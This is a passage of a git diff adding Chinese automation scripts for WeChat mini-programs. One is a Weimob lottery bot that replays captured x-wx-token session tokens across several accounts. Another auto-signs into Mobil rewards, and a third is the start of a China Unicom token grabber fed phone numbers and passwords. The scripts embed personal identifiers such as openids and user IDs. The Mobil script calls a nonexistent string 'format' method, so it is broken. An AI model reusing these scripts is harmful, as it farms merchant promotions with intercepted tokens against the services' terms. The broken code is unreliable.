t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/统一抽奖大集结/2025-06-28_统一_8487b153.js b/脚本库/微信小程序/抓包版/统一抽奖大集结/2025-06-28_统一_8487b153.js new file mode 100644 index 0000000..0c4ec49 --- /dev/null +++ b/脚本库/微信小程序/抓包版/统一抽奖大集结/2025-06-28_统一_8487b153.js @@ -0,0 +1,328 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%BB%9F%E4%B8%80.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%BB%9F%E4%B8%80.js +// # Repo: jdqlscript/toulu +// # Path: 统一.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 8487b15326043cec5ab177d6cbc07a7306bca5cb173bc4bde24c9af4b51e1f48 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn 86056 +@Date: 2024.06.08 09.46 +@Description: 统一抽奖大集结 +------------------------------------------ +变量名 tongyi +变量值抓https://xapi.weimob.com/api3/ Headers中的x-wx-token的值 多账号&或换行 或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("统一抽奖大集结"); +let ckName = `tongyi`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.ckStatus = true; + $.token = user + let activityIds = [{ name: `小明同学`, id: 20001389211 }, { name: `雅马哈`, id: 20001390387 }, { name: `周末`, id: 20001403008 }] + for (let activity of activityIds) { + $.log(`当前玩的是[${activity.name}]`) + for (let i = 0; i < 5; i++) { + await lightCard(activity.id) + $.log(`本次抽奖结束延迟5s`) + await $.wait(5000) + } + $.log(`游戏结束延迟5s`) + await $.wait(5000) + } + await draw() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function lightCard(activityId) { + + let data = JSON.stringify({ + "appid": "wx532ecb3bdaaf92f9", + "basicInfo": { + "vid": 6013753979957, + "vidType": 2, + "bosId": 4020112618957, + "productId": 165646, + "productInstanceId": 3169913957, + "productVersionId": "16233", + "merchantId": 2000020692957, + "tcode": "weimob", + "cid": 176205957 + }, + "extendInfo": { + "wxTemplateId": 7593, + "analysis": [], + "bosTemplateId": 1000001511, + "childTemplateIds": [ + { + "customId": 90004, + "version": "crm@0.1.21" + }, + { + "customId": 90002, + "version": " ec@46.4" + }, + { + "customId": 90006, + "version": "hudong@0.0.208" + }, + { + "customId": 90008, + "version": "cms@0.0.439" + }, + { + "customId": 90060, + "version": "elearning@0.1.1" + } + ], + "quickdeliver": { + "enable": false + }, + "youshu": { + "enable": false + }, + "source": 1, + "channelsource": 5, + "refer": "hd-card-home", + "mpScene": 1005 + }, + "queryParameter": null, + "i18n": { + "language": "zh", + "timezone": "8" + }, + "pid": "4020112618957", + "storeId": "0", + "activityId": activityId, ////////////////////////////////////////// + "source": 1, + "_version": "2.9.2", + "appletVersion": 280, + "_transformBasicInfo": true, + "v": "76e04a82cc9efce6e19336bfddab891410029744", + "operationSource": 4, + "vid": 6013753979957, + "vidType": 2, + "bosId": 4020112618957, + "productId": 165646, + "productInstanceId": 3169913957, + "productVersionId": "16233", + "merchantId": 2000020692957, + "tcode": "weimob", + "cid": 176205957, + "vidTypes": [ + 2 + ], + "openid": "oBk224mM4QEh5M3dNtocB9ZU6foQ" + }); + + let config = { + method: 'POST', + url: 'https://xapi.weimob.com/api3/interactive/qianxi/amasscard/api/lightCard', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'Content-Type': 'application/json', + 'charset': 'utf-8', + 'x-wx-token': $.token, + 'Referer': 'https://servicewechat.com/wx532ecb3bdaaf92f9/195/page-frame.html', + }, + data: data + }; + let { data: result } = await Request(config); + if (result.errcode == '0') { + $.log(`抽卡成功[${result.data.cardId}]`) + } else { + $.log(`抽卡失败`) + $.log(JSON.stringify(result)) + } +} +async function draw() { + let data = JSON.stringify({ + "appid": "wx532ecb3bdaaf92f9", + "basicInfo": { + "vid": 6013753979957, + "vidType": 2, + "bosId": 4020112618957, + "productId": 222, + "productInstanceId": 3169919957, + "productVersionId": "12004", + "merchantId": 2000020692957, + "tcode": "weimob", + "cid": 176205957 + }, + "extendInfo": { + "wxTemplateId": 7593, + "analysis": [], + "bosTemplateId": 1000001511, + "childTemplateIds": [ + { + "customId": 90004, + "version": "crm@0.1.21" + }, + { + "customId": 90002, + "version": " ec@46.4" + }, + { + "customId": 90006, + "version": "hudong@0.0.208" + }, + { + "customId": 90008, + "version": "cms@0.0.439" + }, + { + "customId": 90060, + "version": "elearning@0.1.1" + } + ], + "quickdeliver": { + "enable": false + }, + "youshu": { + "enable": false + }, + "source": 1, + "channelsource": 5, + "refer": "hd-lego-index", + "mpScene": 1005 + }, + "queryParameter": null, + "i18n": { + "language": "zh", + "timezone": "8" + }, + "pid": "4020112618957", + "storeId": "0", + "_transformBasicInfo": true, + "_requrl": "/orchestration/mobile/activity/draw/play", + "templateId": 767, + "templateKey": "bigwheel", + "activityId": "30000041622", + "bussinessType": 1, + "channel": 1, + "channelType": 1, + "source": 1, + "_version": "2.5.4", + "activityIdentity": "20", + "openId": "oBk224mM4QEh5M3dNtocB9ZU6foQ", + "wid": 11165796601, + "appId": "wx532ecb3bdaaf92f9", + "playSourceCode": "lcode", + "vid": 6013753979957, + "vidType": 2, + "bosId": 4020112618957, + "productId": 222, + "productInstanceId": 3169919957, + "productVersionId": "12004", + "merchantId": 2000020692957, + "tcode": "weimob", + "cid": 176205957, + "vidTypes": [ + 2 + ], + "openid": "oBk224mM4QEh5M3dNtocB9ZU6foQ" + }); + + let config = { + method: 'POST', + url: 'https://xapi.weimob.com/api3/orchestration/mobile/activity/draw/play', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'Content-Type': 'application/json', + 'charset': 'utf-8', + 'x-wx-token': $.token, + 'Referer': 'https://servicewechat.com/wx532ecb3bdaaf92f9/195/page-frame.html', + 'Cookie': 'rprm_cuid=7849974103hl3bid9hbo' + }, + data: data + }; + let { data: result } = await Request(config); + if (result.errcode == '0') { + $.log(`抽奖成功[${result.data.cardId}]`) + } else if (result.errcode == "100200003") { + $.log(`抽奖失败 次数不够`) + } else { + $.log(`抽奖失败`) + $.log(JSON.stringify(result)) + } +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/美孚/2025-06-28_美孚_8e3199b6.js b/脚本库/微信小程序/抓包版/美孚/2025-06-28_美孚_8e3199b6.js new file mode 100644 index 0000000..3ade1a5 --- /dev/null +++ b/脚本库/微信小程序/抓包版/美孚/2025-06-28_美孚_8e3199b6.js @@ -0,0 +1,63 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%BE%8E%E5%AD%9A.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%BE%8E%E5%AD%9A.js +// # Repo: jdqlscript/toulu +// # Path: 美孚.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 8e3199b6fd23f6e2a8da1c908b7c9709f892e2843294db627da3d7a93052497e +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +小程序美孚臻享俱乐部 +变量名=mftoken +抓包www.rewards.mobil.com.cn域名的请求头的X-access-token +多账号分割& +也可以使用多个变量名 +支持插件提交多变量 +有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge +*/ + +const axios = require('axios'); +const mftoken = process.env.mftoken.split('&'); + +async function signIn() { + const url = 'https://www.rewards.mobil.com.cn/web/index.php?_mall_id=1&r=api/kc/user/sign-in'; + const headers = { + 'Host': 'www.rewards.mobil.com.cn', + 'Connection': 'keep-alive', + 'Content-Length': '0', + 'x-form-id-list': '[]', + 'charset': 'utf-8', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.122 Mobile Safari/537.36 XWEB/1260059 MMWEBSDK/20240501 MMWEBID/3628 MicroMessenger/8.0.50.2701(0x28003252) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'x-user-id': '1045255', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'x-app-platform': 'wxapp', + 'x-requested-with': 'XMLHttpRequest', + 'content-type': 'application/x-www-form-urlencoded', + 'x-channel': 'WXapp', + 'x-app-version': '4.8.9', + 'Referer': 'https://servicewechat.com/wx46f9572cac706c22/120/page-frame.html' + }; + + try { + for (let token of mftoken) { + headers['x-access-token'] = token; + const response = await axios.post(url, {}, { headers: headers }); + if (response.data.code === 0 && response.data.data.now_date_is_sign) { + console.log("签到成功,已累计签到{}天,本次获得{}积分。".format(response.data.data.sign_continue_text, response.data.data.sign_once_point)); + } else if (response.data.code === 1) { + console.log("签到失败,错误信息:", response.data.msg); + } else { + console.log("响应:", response.data); + } + } + } catch (error) { + console.error(error); + } +} + +signIn(); + + diff --git a/脚本库/微信小程序/抓包版/联通和沃畅游密码登录/2025-06-28_联通获取ck_a5eef486.py b/脚本库/微信小程序/抓包版/联通和沃畅游密码登录/2025-06-28_联通获取ck_a5eef486.py new file mode 100644 index 0000000..372a578 --- /dev/null +++ b/脚本库/微信小程序/抓包版/联通和沃畅游密码登录/2025-06-28_联通获取ck_a5eef486.py @@ -0,0 +1,875 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%81%94%E9%80%9A%E8%8E%B7%E5%8F%96ck.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%81%94%E9%80%9A%E8%8E%B7%E5%8F%96ck.py +# Repo: jdqlscript/toulu +# Path: 联通获取ck.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: a5eef4860ea719a6aeebe90421bb96740870ac057a7b0e1c5115b52013a5175f +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#!/usr/bin/python3 +# -- coding: utf-8 -- +#一键取ck exe:https://www.123pan.com/s/TGXSVv-cap8A.html +# ------------------------------ +# cron "3 0 * * *" script-path=xxx.py,tag=匹配cron用 +# const $ = new Env('联通和沃畅游密码登录'); +# ------------------------------- + + + +#有问题联系3288588344 +#频道:https://pd.qq.com/s/672fku8ge + + + +""" + +说明: 自动获取联通token_online、appid、ecs_token和access_token参数 + +注意:若是需要沃畅游的access_token参数,在首次使用时,联通app首页--5g新通信--联通畅游,点击个人中心,手动登录一遍 + +青龙环境变量:WoChangYouCK_PSW 手机号码&密码 账号和密码分别是联通app的账号和密码 + + +下列变量都可选填,请按照自己的需求自行添加环境变量 +联通app参数 +变量名:IsChinaUnicomParam 格式:True或者False 是否生成token_online参数填入环境变量,是下面变量起作用的前提,默认False不生成填入 +变量名:ChinaUnicomEnvName 格式:填指定生成的环境变量名,如chinaUnicomCookie,本脚本默认生成chinaUnicomCookie,用于生成跑联通脚本运行 +变量名:ChinaUnicomParam_chatMoreStr 格式:生成的多账号使用的拼接连接符,默认使用& +变量名:ChinaUnicomParam_flag 格式:是否拼接appid,默认False不拼接,需要拼接请填入True +变量名:ChinaUnicomParam_chatStr 格式:appid和token_online之间的拼接符号,默认使用# +变量名:ChinaUnicomParam_appidIndex 格式:1或者2 拼接appid是在token_online前面还是后面,1代表前面,2代表后面,默认appid在前面 +沃畅游参数 +变量名:IsWoChangYouCK 格式:True或者False 是否生成沃畅游的access_token参数填入环境变量,默认False不生成填入 + +wxpusher推送(非必填) +青龙变量:WoChangYouCK_WXPUSHER_TOKEN wxpusher推送的token +青龙变量:WoChangYouCK_WXPUSHER_TOPIC_ID wxpusher推送的topicId(主题ID,非UID) +网址:https://wxpusher.zjiecode.com/admin/main/topics/list + +有问题联系3288588344 +频道:https://pd.qq.com/s/672fku8ge + +""" +import requests,re +import json, os, random +import time +from datetime import datetime +from sys import stdout +import base64 +response = requests.get("https://github.com/3288588344/toulu/blob/main/tl.txt") +response.encoding = 'utf-8' +txt = response.text +print(txt) +from base64 import b64encode +from uuid import uuid4 +from urllib.parse import quote +try: + from Crypto.PublicKey.RSA import importKey, construct + from Crypto.Cipher import PKCS1_v1_5 +except: + print("检测到还未安装 pycryptodome 依赖,请先在python中安装 pycryptodome 依赖") + print("如果安装依赖pycryptodome出错时,请先在linux中安装gcc、python3-dev、libc-dev三个依赖") + exit(0) + + + + +WXPUSHER_TOKEN = '' # wxpusher推送的token +WXPUSHER_TOPIC_ID = '' # wxpusher推送的topicId +WXPUSHER_CONTENT_TYPE = 2 # wxpusher推送的样式,1表示文字 2表示html(只发送body标签内部的数据即可,不包括body标签),默认为2 +# wxpusher消息推送 +def wxpusher(title: str, content: str) -> None: + """ + 使用微信的wxpusher推送 + """ + if not WXPUSHER_TOKEN or not WXPUSHER_TOPIC_ID: + print("wxpusher 服务的 token 或者 topicId 未设置!!\n取消推送") + return + print("wxpusher 服务启动") + + url = f"https://wxpusher.zjiecode.com/api/send/message" + headers = {"Content-Type": "application/json;charset=utf-8"} + contentType = 2 + if not WXPUSHER_CONTENT_TYPE: + contentType = 2 + else: + contentType = WXPUSHER_CONTENT_TYPE + if contentType == 2: + content = content.replace("\n", "
